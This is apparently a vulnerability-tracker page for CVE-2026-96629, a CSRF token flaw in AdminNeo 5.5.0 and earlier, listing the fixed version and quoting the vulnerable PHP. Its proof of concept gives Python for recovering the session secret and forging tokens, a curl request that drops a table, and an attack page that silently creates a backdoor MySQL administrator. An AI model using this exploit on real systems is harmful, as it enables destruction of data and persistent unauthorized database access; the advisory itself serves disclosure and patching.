Live › vulnerability › CVE-2026-96629
AdminNeo's CSRF tokens transmit both the mask and the masked value, so anyone who sees one token can recover the session secret and forge valid tokens. A logged-in administrator who visits a malicious page can then be made to run arbitrary SQL against the database.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-30 22:51 UTC. All times on this page are UTC.
Teams running AdminNeo 5.5.0 or earlier as a database administration tool. Exposure requires an authenticated administrator who browses to an attacker-controlled page while logged in, or an attacker who can observe a token. Teams whose AdminNeo instance is not reachable from untrusted networks and whose admins do not browse untrusted sites face lower risk.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| adminneo-org/adminneo | composer | < 5.5.1 | 5.5.1 |
composer.lock or vendor/composer/installed.json for adminneo-org/adminneo.adminneo-org/adminneo 5.5.1 (fixed version; affected versions are below 5.5.1)Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.
Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh
Token generation in admin/include/functions.inc.php lines 1181-1184:
function get_token() {
$rand = rand(1, 1e6);
return ($rand ^ $_SESSION["token"]) . ":$rand";
}
Token verification in lines 1189-1192:
function verify_token() {
list($token, $rand) = explode(":", $_POST["token"]);
return ($rand ^ $_SESSION["token"]) == $token;
}
Session token initialized in admin/include/auth.inc.php lines 327 and 385:
$_SESSION["token"] = rand(1, 1e6);
Three distinct weaknesses:
(rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).
Step 1: Observe a single CSRF token
Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:
<input type='hidden' name='token' value='222277:990527'>
Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.
Step 2: Recover the session secret (instant, 1 XOR operation)
observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530
The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.
Step 3: Forge unlimited valid CSRF tokens
import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370
Each forged token is unique and valid. The attacker can generate as many as needed.
Step 4: Execute arbitrary SQL with the forged token
# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=729376:481370" \
--data-urlencode "query=DROP TABLE csrf_victim_table;" \
-d "limit=0"
Step 5: Verify a random wrong token is rejected (control)
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=111:222" \
--data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."
Weaponized CSRF attack page
In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:
<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
<input type="hidden" name="token" value="729376:481370">
<input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
<input type="hidden" name="limit" value="0">
</form>
<>
This page as .md · .json · in your agent: get_signal("CVE-2026-96629")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.